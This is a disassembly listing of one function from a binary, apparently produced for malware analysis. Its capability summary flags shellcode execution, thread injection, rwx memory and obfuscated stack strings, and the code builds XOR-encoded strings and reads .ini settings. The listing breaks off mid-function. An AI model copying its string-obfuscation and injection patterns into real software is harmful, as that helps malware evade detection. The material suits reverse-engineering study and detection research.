Function at 0x454d00
Capabilities:
Allocate or change rwx memory
Check if file exists
Contain obfuscated stackstrings
Create thread
Delete file
Execute shellcode via indirect call
Initialize winsock library
Inject thread
Link many functions at runtime
Move file
Read .ini file
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5f4701
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x35f8
call fcn.005c85a0
mov eax, dword [0x679dc8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebx + 0xc]
mov dword [ebp - 0x2bf4], eax
call fcn.0044d900
lea eax, [ebp - 0x2bf0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 0
call fcn.0046d580
add esp, 0xc
push 0
push 0
push 0
call fcn.0046d580
add esp, 0xc
push 0
push 0
push 0x200002
call fcn.0046d580
add esp, 0xc
mov dword [ebp - 0x2ca8], 0xd5c7db90
lea eax, [ebp - 0x2c98]
mov dword [ebp - 0x2ca4], 0x249d58bd
lea ecx, [ebp - 0x30c0]
mov dword [ebp - 0x2ca0], 0x4b0cf199
mov dword [ebp - 0x2c9c], 0xbc6ee7e6
push eax
lea eax, [ebp - 0x2ca8]
push eax
call fcn.0045f990
lea eax, [ebp - 0x2ca8]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2cb8]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x30c8]
mov dword [ebp - 0x2cb8], 0xe6f7e9a1
mov dword [ebp - 0x2cb4], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2cb0], 0x4b3cc1c6
mov dword [ebp - 0x2cac], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2cb8]
mov dword [ebp - 0xb30], 0xd5c7db90
push eax
lea eax, [ebp - 0x2cc8]
mov dword [ebp - 0xb2c], 0x249d58bd
push eax
lea ecx, [ebp - 0x30d0]
mov dword [ebp - 0x2cc8], 0xd5c7db90
mov dword [ebp - 0x2cc4], 0x249d58bd
mov dword [ebp - 0xb28], 0x4b0cf199
mov dword [ebp - 0xb24], 0xbc6ee7e6
mov dword [ebp - 0x2cc0], 0x4b0cf199
mov dword [ebp - 0x2cbc], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xb30]
lea eax, [ebp - 0xb30]
pxor xmm1, xmmword [ebp - 0x850]
lea ecx, [ebp - 0x13c8]
push eax
movaps xmmword [ebp - 0xb30], xmm1
call fcn.0045ebf0
push 0x66fd1f
lea ecx, [ebp - 0x948]
mov dword [ebp - 4], 0
call fcn.0045ebf0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x2cc8]
push eax
mov dword [ebp - 0x2cd8], 0x94929f8e
lea eax, [ebp - 0x2cd8]
mov dword [ebp - 0x2cd4], 0x7ec001fc
mov dword [ebp - 0x2cd0], 0x4b3cc1e9
mov dword [ebp - 0x2ccc], 0xbc6ee7e6
push eax
lea ecx, [ebp - 0x30d8]
call fcn.0045f990
lea eax, [ebp - 0x2cd8]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2ce8]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x30e0]
mov dword [ebp - 0x2ce8], 0xe6f7e9a1
mov dword [ebp - 0x2ce4], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2ce0], 0x4b3cc1c6
mov dword [ebp - 0x2cdc], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2c88]
mov dword [ebp - 0x9e0], 0x94929f8e
push eax
lea eax, [ebp - 0x2c98]
mov dword [ebp - 0x9dc], 0x7ec001fc
push eax
lea ecx, [ebp - 0x30e8]
mov dword [ebp - 0x2c98], 0x94929f8e
mov dword [ebp - 0x2c94], 0x7ec001fc
mov dword [ebp - 0x9d8], 0x4b3cc1e9
mov dword [ebp - 0x9d4], 0xbc6ee7e6
mov dword [ebp - 0x2c90], 0x4b3cc1e9
mov dword [ebp - 0x2c8c], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x9e0]
lea eax, [ebp - 0x9e0]
pxor xmm1, xmmword [ebp - 0x850]
lea ecx, [ebp - 0x900]
push eax
movaps xmmword [ebp - 0x9e0], xmm1
call fcn.0045ebf0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x1820]
push eax
lea eax, [ebp - 0x1840]
mov dword [ebp - 0x1840], 0x8898aa8e
push eax
lea ecx, [ebp - 0x30f0]
mov dword [ebp - 0x183c], 0x65dd1cfc
mov dword [ebp - 0x1838], 0x3953b5a5
mov dword [ebp - 0x1834], 0xd00283c8
mov dword [ebp - 0x1830], 0x2cfb5903
mov dword [ebp - 0x182c], 0xcfb55f79
mov dword [ebp - 0x1828], 0xad6124c8
mov dword [ebp - 0x1824], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x1800]
mov dword [ebp - 0x860], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1820]
mov dword [ebp - 0x85c], 0x10af688f
push eax
lea ecx, [ebp - 0x3608]
mov dword [ebp - 0x1820], 0xe6f7e9a1
mov dword [ebp - 0x181c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x1818], 0x4b3cc1c6
mov dword [ebp - 0x1814], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x1810], 0x2cfb5903
mov dword [ebp - 0x180c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x1808], 0xad6124c8
mov dword [ebp - 0x1804], 0x9738a288
call fcn.0045f990
mov dword [ebp - 0xda0], 0x8898aa8e
mov dword [ebp - 0xd9c], 0x65dd1cfc
mov dword [ebp - 0x1800], 0x8898aa8e
mov dword [ebp - 0x17fc], 0x65dd1cfc
mov dword [ebp - 0xd98], 0x3953b5a5
lea eax, [ebp - 0x17e0]
mov dword [ebp - 0xd94], 0xd00283c8
push eax
lea eax, [ebp - 0x1800]
mov dword [ebp - 0x17f8], 0x3953b5a5
push eax
lea ecx, [ebp - 0x3600]
mov dword [ebp - 0x17f4], 0xd00283c8
mov dword [ebp - 0xd90], 0x2cfb5903
mov dword [ebp - 0xd8c], 0xcfb55f79
mov dword [ebp - 0x17f0], 0x2cfb5903
mov dword [ebp - 0x17ec], 0xcfb55f79
mov dword [ebp - 0xd88], 0xad6124c8
mov dword [ebp - 0xd84], 0x9738a288
mov dword [ebp - 0x17e8], 0xad6124c8
mov dword [ebp - 0x17e4], 0x9738a288
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xda0]
lea eax, [ebp - 0xda0]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x8e8]
movaps xmmword [ebp - 0xda0], xmm1
movaps xmm1, xmmword [ebp - 0xd90]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xd90], xmm1
call fcn.0045ebf0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x1ef0]
push eax
lea eax, [ebp - 0x1f20]
mov dword [ebp - 0x1f20], 0xe698e9ed
push eax
lea ecx, [ebp - 0x35f8]
mov dword [ebp - 0x1f1c], 0x10cb68ee
mov dword [ebp - 0x1f18], 0x4b4ec1a3
mov dword [ebp - 0x1f14], 0xbc01e7a5
mov dword [ebp - 0x1f10], 0x2c9d596d
mov dword [ebp - 0x1f0c], 0xcfd25f10
mov dword [ebp - 0x1f08], 0xad0824e6
mov dword [ebp - 0x1f04], 0x9751a2e6
mov dword [ebp - 0x1f00], 0xac1d51b5
mov dword [ebp - 0x1efc], 0x453e7873
mov dword [ebp - 0x1ef8], 0x2e3c550a
mov dword [ebp - 0x1ef4], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x2070]
mov dword [ebp - 0x870], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x20a0]
mov dword [ebp - 0x86c], 0x10af688f
push eax
lea ecx, [ebp - 0x35f0]
mov dword [ebp - 0x20a0], 0xe6f7e9a1
mov dword [ebp - 0x209c], 0x10af688f
mov dword [ebp - 0x868], 0x4b3cc1c6
mov dword [ebp - 0x864], 0xbc6ee7e6
mov dword [ebp - 0x2098], 0x4b3cc1c6
mov dword [ebp - 0x2094], 0xbc6ee7e6
mov dword [ebp - 0x860], 0x2cfb5903
mov dword [ebp - 0x85c], 0xcfb55f79
mov dword [ebp - 0x2090], 0x2cfb5903
mov dword [ebp - 0x208c], 0xcfb55f79
mov dword [ebp - 0x858], 0xad6124c8
mov dword [ebp - 0x854], 0x9738a288
mov dword [ebp - 0x2088], 0xad6124c8
mov dword [ebp - 0x2084], 0x9738a288
mov dword [ebp - 0x850], 0xac1d51b5
mov dword [ebp - 0x84c], 0x453e7873
mov dword [ebp - 0x2080], 0xac1d51b5
mov dword [ebp - 0x207c], 0x453e7873
mov dword [ebp - 0x848], 0x2e3c550a
mov dword [ebp - 0x844], 0x6b38d9fa
mov dword [ebp - 0x2078], 0x2e3c550a
mov dword [ebp - 0x2074], 0x6b38d9fa
call fcn.0045f990
mov dword [ebp - 0xfb0], 0xe698e9ed
mov dword [ebp - 0xfac], 0x10cb68ee
mov dword [ebp - 0x1cb0], 0xe698e9ed
mov dword [ebp - 0x1cac], 0x10cb68ee
lea eax, [ebp - 0x1c80]
mov dword [ebp - 0xfa8], 0x4b4ec1a3
push eax
lea eax, [ebp - 0x1cb0]
mov dword [ebp - 0xfa4], 0xbc01e7a5
push eax
lea ecx, [ebp - 0x35e8]
mov dword [ebp - 0x1ca8], 0x4b4ec1a3
mov dword [ebp - 0x1ca4], 0xbc01e7a5
mov dword [ebp - 0xfa0], 0x2c9d596d
mov dword [ebp - 0xf9c], 0xcfd25f10
mov dword [ebp - 0x1ca0], 0x2c9d596d
mov dword [ebp - 0x1c9c], 0xcfd25f10
mov dword [ebp - 0xf98], 0xad0824e6
mov dword [ebp - 0xf94], 0x9751a2e6
mov dword [ebp - 0x1c98], 0xad0824e6
mov dword [ebp - 0x1c94], 0x9751a2e6
mov dword [ebp - 0xf90], 0xac1d51b5
mov dword [ebp - 0xf8c], 0x453e7873
mov dword [ebp - 0x1c90], 0xac1d51b5
mov dword [ebp - 0x1c8c], 0x453e7873
mov dword [ebp - 0xf88], 0x2e3c550a
mov dword [ebp - 0xf84], 0x6b38d9fa
mov dword [ebp - 0x1c88], 0x2e3c550a
mov dword [ebp - 0x1c84], 0x6b38d9fa
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xfb0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x870]
movaps xmmword [ebp - 0xfb0], xmm1
movaps xmm1, xmmword [ebp - 0xfa0]
pxor xmm1, xmmword [ebp - 0x860]
push 0
push eax
movaps xmmword [ebp - 0xfa0], xmm1
lea eax, [ebp - 0xfb0]
movaps xmm1, xmmword [ebp - 0xf90]
pxor xmm1, xmmword [ebp - 0x850]
push 0x104
push eax
movaps xmmword [ebp - 0xf90], xmm1
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea eax, [ebp - 0x17c0]
mov dword [ebp - 0x17e0], 0xe696e9ed
push eax
lea eax, [ebp - 0x17e0]
mov dword [ebp - 0x17dc], 0x10c868e1
push eax
lea ecx, [ebp - 0x35e0]
mov dword [ebp - 0x17d8], 0x4b5dc1b3
mov dword [ebp - 0x17d4], 0xbc0be781
mov dword [ebp - 0x17d0], 0x2cfb5903
mov dword [ebp - 0x17cc], 0xcfb55f79
mov dword [ebp - 0x17c8], 0xad6124c8
mov dword [ebp - 0x17c4], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x17a0]
mov dword [ebp - 0x860], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x17c0]
mov dword [ebp - 0x85c], 0x10af688f
push eax
lea ecx, [ebp - 0x35d8]
mov dword [ebp - 0x17c0], 0xe6f7e9a1
mov dword [ebp - 0x17bc], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x17b8], 0x4b3cc1c6
mov dword [ebp - 0x17b4], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x17b0], 0x2cfb5903
mov dword [ebp - 0x17ac], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x17a8], 0xad6124c8
mov dword [ebp - 0x17a4], 0x9738a288
call fcn.0045f990
mov dword [ebp - 0xdc0], 0xe696e9ed
mov dword [ebp - 0xdbc], 0x10c868e1
mov dword [ebp - 0x17a0], 0xe696e9ed
lea eax, [ebp - 0x1780]
mov dword [ebp - 0x179c], 0x10c868e1
push eax
lea eax, [ebp - 0x17a0]
mov dword [ebp - 0xdb8], 0x4b5dc1b3
push eax
lea ecx, [ebp - 0x35d0]
mov dword [ebp - 0xdb4], 0xbc0be781
mov dword [ebp - 0x1798], 0x4b5dc1b3
mov dword [ebp - 0x1794], 0xbc0be781
mov dword [ebp - 0xdb0], 0x2cfb5903
mov dword [ebp - 0xdac], 0xcfb55f79
mov dword [ebp - 0x1790], 0x2cfb5903
mov dword [ebp - 0x178c], 0xcfb55f79
mov dword [ebp - 0xda8], 0xad6124c8
mov dword [ebp - 0xda4], 0x9738a288
mov dword [ebp - 0x1788], 0xad6124c8
mov dword [ebp - 0x1784], 0x9738a288
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xdc0]
lea eax, [ebp - 0x2cf8]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x35c8]
movaps xmmword [ebp - 0xdc0], xmm1
movaps xmm1, xmmword [ebp - 0xdb0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2d08]
movaps xmmword [ebp - 0xdb0], xmm1
push eax
mov dword [ebp - 0x2d08], 0xe698e9e2
mov dword [ebp - 0x2d04], 0x10c968e1
mov dword [ebp - 0x2d00], 0x4b5bc1af
mov dword [ebp - 0x2cfc], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2d08]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2d18]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x35c0]
mov dword [ebp - 0x2d18], 0xe6f7e9a1
mov dword [ebp - 0x2d14], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2d10], 0x4b3cc1c6
mov dword [ebp - 0x2d0c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2d18]
mov dword [ebp - 0x9d0], 0xe698e9e2
push eax
lea eax, [ebp - 0x2d28]
mov dword [ebp - 0x9cc], 0x10c968e1
push eax
lea ecx, [ebp - 0x35b8]
mov dword [ebp - 0x2d28], 0xe698e9e2
mov dword [ebp - 0x2d24], 0x10c968e1
mov dword [ebp - 0x9c8], 0x4b5bc1af
mov dword [ebp - 0x9c4], 0xbc6ee7e6
mov dword [ebp - 0x2d20], 0x4b5bc1af
mov dword [ebp - 0x2d1c], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x9d0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push eax
push 0x3e7
lea eax, [ebp - 0xdc0]
movaps xmmword [ebp - 0x9d0], xmm1
push eax
lea eax, [ebp - 0x9d0]
push eax
call esi
mov edi, eax
mov dword [ebp - 0x1780], 0xe685e9f5
mov dword [ebp - 0x177c], 0x10ec68f6
mov dword [ebp - 0x1778], 0x4b49c1a9
mov dword [ebp - 0x1774], 0xbc1ae788
mov dword [ebp - 0x1770], 0x2cfb5903
lea eax, [ebp - 0x1760]
mov dword [ebp - 0x176c], 0xcfb55f79
push eax
lea eax, [ebp - 0x1780]
mov dword [ebp - 0x1768], 0xad6124c8
push eax
lea ecx, [ebp - 0x35b0]
mov dword [ebp - 0x1764], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x1740]
mov dword [ebp - 0x860], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1760]
mov dword [ebp - 0x85c], 0x10af688f
push eax
lea ecx, [ebp - 0x35a8]
mov dword [ebp - 0x1760], 0xe6f7e9a1
mov dword [ebp - 0x175c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x1758], 0x4b3cc1c6
mov dword [ebp - 0x1754], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x1750], 0x2cfb5903
mov dword [ebp - 0x174c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x1748], 0xad6124c8
mov dword [ebp - 0x1744], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x1840]
mov dword [ebp - 0xde0], 0xe685e9f5
push eax
lea eax, [ebp - 0x1860]
mov dword [ebp - 0xddc], 0x10ec68f6
push eax
lea ecx, [ebp - 0x35a0]
mov dword [ebp - 0x1860], 0xe685e9f5
mov dword [ebp - 0x185c], 0x10ec68f6
mov dword [ebp - 0xdd8], 0x4b49c1a9
mov dword [ebp - 0xdd4], 0xbc1ae788
mov dword [ebp - 0x1858], 0x4b49c1a9
mov dword [ebp - 0x1854], 0xbc1ae788
mov dword [ebp - 0xdd0], 0x2cfb5903
mov dword [ebp - 0xdcc], 0xcfb55f79
mov dword [ebp - 0x1850], 0x2cfb5903
mov dword [ebp - 0x184c], 0xcfb55f79
mov dword [ebp - 0xdc8], 0xad6124c8
mov dword [ebp - 0xdc4], 0x9738a288
mov dword [ebp - 0x1848], 0xad6124c8
mov dword [ebp - 0x1844], 0x9738a288
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xde0]
lea eax, [ebp - 0x2d28]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3598]
movaps xmmword [ebp - 0xde0], xmm1
movaps xmm1, xmmword [ebp - 0xdd0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2d38]
movaps xmmword [ebp - 0xdd0], xmm1
push eax
mov dword [ebp - 0x2d38], 0xe6a3e9f3
mov dword [ebp - 0x2d34], 0x10af688f
mov dword [ebp - 0x2d30], 0x4b3cc1c6
mov dword [ebp - 0x2d2c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2d38]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2d48]
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x2d48], 0xe6f7e9a1
mov dword [ebp - 0x2d44], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2d40], 0x4b3cc1c6
mov dword [ebp - 0x2d3c], 0xbc6ee7e6
push eax
lea ecx, [ebp - 0x3590]
call fcn.0045f990
lea eax, [ebp - 0x2d48]
mov dword [ebp - 0x9c0], 0xe6a3e9f3
push eax
lea eax, [ebp - 0x2d58]
mov dword [ebp - 0x9bc], 0x10af688f
push eax
lea ecx, [ebp - 0x3588]
mov dword [ebp - 0x2d58], 0xe6a3e9f3
mov dword [ebp - 0x2d54], 0x10af688f
mov dword [ebp - 0x9b8], 0x4b3cc1c6
mov dword [ebp - 0x9b4], 0xbc6ee7e6
mov dword [ebp - 0x2d50], 0x4b3cc1c6
mov dword [ebp - 0x2d4c], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x9c0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push 0
lea eax, [ebp - 0xde0]
movaps xmmword [ebp - 0x9c0], xmm1
push eax
lea eax, [ebp - 0x9c0]
push eax
call esi
mov dword [ebp - 0x2c00], eax
cmp edi, 0x3e7
jne 0x456183
lea eax, [ebp - 0x1cb0]
mov dword [ebp - 0x1ce0], 0x879285f1
push eax
lea eax, [ebp - 0x1ce0]
mov dword [ebp - 0x1cdc], 0x738f0dfc
push eax
lea ecx, [ebp - 0x3580]
mov dword [ebp - 0x1cd8], 0x3853aeae
mov dword [ebp - 0x1cd4], 0xdd02c783
mov dword [ebp - 0x1cd0], 0x4d8e3e6d
mov dword [ebp - 0x1ccc], 0xb9953a1e
mov dword [ebp - 0x1cc8], 0xc41256ad
mov dword [ebp - 0x1cc4], 0xb702cce7
mov dword [ebp - 0x1cc0], 0xac1d51b5
mov dword [ebp - 0x1cbc], 0x453e7873
mov dword [ebp - 0x1cb8], 0x2e3c550a
mov dword [ebp - 0x1cb4], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x1ce0]
mov dword [ebp - 0x870], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1d10]
mov dword [ebp - 0x86c], 0x10af688f
push eax
lea ecx, [ebp - 0x3578]
mov dword [ebp - 0x1d10], 0xe6f7e9a1
mov dword [ebp - 0x1d0c], 0x10af688f
mov dword [ebp - 0x868], 0x4b3cc1c6
mov dword [ebp - 0x864], 0xbc6ee7e6
mov dword [ebp - 0x1d08], 0x4b3cc1c6
mov dword [ebp - 0x1d04], 0xbc6ee7e6
mov dword [ebp - 0x860], 0x2cfb5903
mov dword [ebp - 0x85c], 0xcfb55f79
mov dword [ebp - 0x1d00], 0x2cfb5903
mov dword [ebp - 0x1cfc], 0xcfb55f79
mov dword [ebp - 0x858], 0xad6124c8
mov dword [ebp - 0x854], 0x9738a288
mov dword [ebp - 0x1cf8], 0xad6124c8
mov dword [ebp - 0x1cf4], 0x9738a288
mov dword [ebp - 0x850], 0xac1d51b5
mov dword [ebp - 0x84c], 0x453e7873
mov dword [ebp - 0x1cf0], 0xac1d51b5
mov dword [ebp - 0x1cec], 0x453e7873
mov dword [ebp - 0x848], 0x2e3c550a
mov dword [ebp - 0x844], 0x6b38d9fa
mov dword [ebp - 0x1ce8], 0x2e3c550a
mov dword [ebp - 0x1ce4], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x1d10]
mov dword [ebp - 0x1220], 0x879285f1
push eax
lea eax, [ebp - 0x1d40]
mov dword [ebp - 0x121c], 0x738f0dfc
push eax
lea ecx, [ebp - 0x3570]
mov dword [ebp - 0x1d40], 0x879285f1
mov dword [ebp - 0x1d3c], 0x738f0dfc
mov dword [ebp - 0x1218], 0x3853aeae
mov dword [ebp - 0x1214], 0xdd02c783
mov dword [ebp - 0x1d38], 0x3853aeae
mov dword [ebp - 0x1d34], 0xdd02c783
mov dword [ebp - 0x1210], 0x4d8e3e6d
mov dword [ebp - 0x120c], 0xb9953a1e
mov dword [ebp - 0x1d30], 0x4d8e3e6d
mov dword [ebp - 0x1d2c], 0xb9953a1e
mov dword [ebp - 0x1208], 0xc41256ad
mov dword [ebp - 0x1204], 0xb702cce7
mov dword [ebp - 0x1d28], 0xc41256ad
mov dword [ebp - 0x1d24], 0xb702cce7
mov dword [ebp - 0x1200], 0xac1d51b5
mov dword [ebp - 0x11fc], 0x453e7873
mov dword [ebp - 0x1d20], 0xac1d51b5
mov dword [ebp - 0x1d1c], 0x453e7873
mov dword [ebp - 0x11f8], 0x2e3c550a
mov dword [ebp - 0x11f4], 0x6b38d9fa
mov dword [ebp - 0x1d18], 0x2e3c550a
mov dword [ebp - 0x1d14], 0x6b38d9fa
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x1220]
pxor xmm1, xmmword [ebp - 0x870]
movaps xmmword [ebp - 0x1220], xmm1
movaps xmm1, xmmword [ebp - 0x860]
lea edx, [ebp - 0x1220]
pxor xmm1, xmmword [ebp - 0x1210]
mov ecx, 0x67e708
movaps xmmword [ebp - 0x1210], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x1200]
movaps xmmword [ebp - 0x1200], xmm1
call fcn.00460c70
push fcn.00461040
mov ecx, eax
call fcn.0045e4b0
lea eax, [ebp - 0x2d58]
mov dword [ebp - 0x2d68], 0xc6cdd881
push eax
lea eax, [ebp - 0x2d68]
mov dword [ebp - 0x2d64], 0x7eca01db
push eax
lea ecx, [ebp - 0x3568]
mov dword [ebp - 0x2d60], 0x226ae1a1
mov dword [ebp - 0x2d5c], 0xbc4e9383
call fcn.0045f990
lea eax, [ebp - 0x2d68]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2d78]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x3560]
mov dword [ebp - 0x2d78], 0xe6f7e9a1
mov dword [ebp - 0x2d74], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2d70], 0x4b3cc1c6
mov dword [ebp - 0x2d6c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2d78]
mov dword [ebp - 0x9b0], 0xc6cdd881
push eax
lea eax, [ebp - 0x2d88]
mov dword [ebp - 0x9ac], 0x7eca01db
push eax
lea ecx, [ebp - 0x3558]
mov dword [ebp - 0x2d88], 0xc6cdd881
mov dword [ebp - 0x2d84], 0x7eca01db
mov dword [ebp - 0x9a8], 0x226ae1a1
mov dword [ebp - 0x9a4], 0xbc4e9383
mov dword [ebp - 0x2d80], 0x226ae1a1
mov dword [ebp - 0x2d7c], 0xbc4e9383
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x9b0]
lea edx, [ebp - 0x9b0]
pxor xmm1, xmmword [ebp - 0x850]
mov ecx, 0x67e708
movaps xmmword [ebp - 0x9b0], xmm1
call fcn.00460c70
push fcn.00461040
mov ecx, eax
call fcn.0045e4b0
lea eax, [ebp - 0x2d88]
mov dword [ebp - 0x2d98], 0xc6cddb81
push eax
lea eax, [ebp - 0x2d98]
mov dword [ebp - 0x2d94], 0x7cc806ca
push eax
lea ecx, [ebp - 0x3550]
mov dword [ebp - 0x2d90], 0x6b54b2af
mov dword [ebp - 0x2d8c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2d98]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2da8]
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x2da8], 0xe6f7e9a1
mov dword [ebp - 0x2da4], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2da0], 0x4b3cc1c6
mov dword [ebp - 0x2d9c], 0xbc6ee7e6
push eax
lea ecx, [ebp - 0x3548]
call fcn.0045f990
lea eax, [ebp - 0x2da8]
mov dword [ebp - 0xa10], 0xc6cddb81
push eax
lea eax, [ebp - 0x2db8]
mov dword [ebp - 0xa0c], 0x7cc806ca
push eax
lea ecx, [ebp - 0x3540]
mov dword [ebp - 0x2db8], 0xc6cddb81
mov dword [ebp - 0x2db4], 0x7cc806ca
mov dword [ebp - 0xa08], 0x6b54b2af
mov dword [ebp - 0xa04], 0xbc6ee7e6
mov dword [ebp - 0x2db0], 0x6b54b2af
mov dword [ebp - 0x2dac], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xa10]
lea edx, [ebp - 0xa10]
pxor xmm1, xmmword [ebp - 0x850]
mov ecx, 0x67e708
movaps xmmword [ebp - 0xa10], xmm1
call fcn.00460c70
push fcn.00461040
mov ecx, eax
call fcn.0045e4b0
jmp 0x4562e0
cmp edi, 1
je 0x456378
cmp edi, 2
je 0x456378
mov dword [ebp - 0x11e0], 0x408b792f
lea edx, [ebp - 0x11f0]
mov dword [ebp - 0x11dc], 0xaac63e1c
mov ecx, 0x67e708
mov dword [ebp - 0x11d8], 0xc10457e8
mov dword [ebp - 0x11d4], 0xb74cc1ed
mov dword [ebp - 0x11d0], 0xc57c36d4
mov dword [ebp - 0x11cc], 0x453e561d
mov dword [ebp - 0x11c8], 0x2e3c550a
mov dword [ebp - 0x11c4], 0x6b38d9fa
mov dword [ebp - 0x11f0], 0x878187e8
mov dword [ebp - 0x11ec], 0x30cb01e3
mov dword [ebp - 0x11e8], 0x2c52a0aa
mov dword [ebp - 0x11e4], 0xd9098693
movaps xmm1, xmmword [ebp - 0x11f0]
mov dword [ebp - 0x8a0], 0xe6f7e9a1
mov dword [ebp - 0x89c], 0x10af688f
mov dword [ebp - 0x898], 0x4b3cc1c6
mov dword [ebp - 0x894], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x11f0], xmm1
mov dword [ebp - 0x890], 0x2cfb5903
mov dword [ebp - 0x88c], 0xcfb55f79
mov dword [ebp - 0x888], 0xad6124c8
mov dword [ebp - 0x884], 0x9738a288
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x11e0]
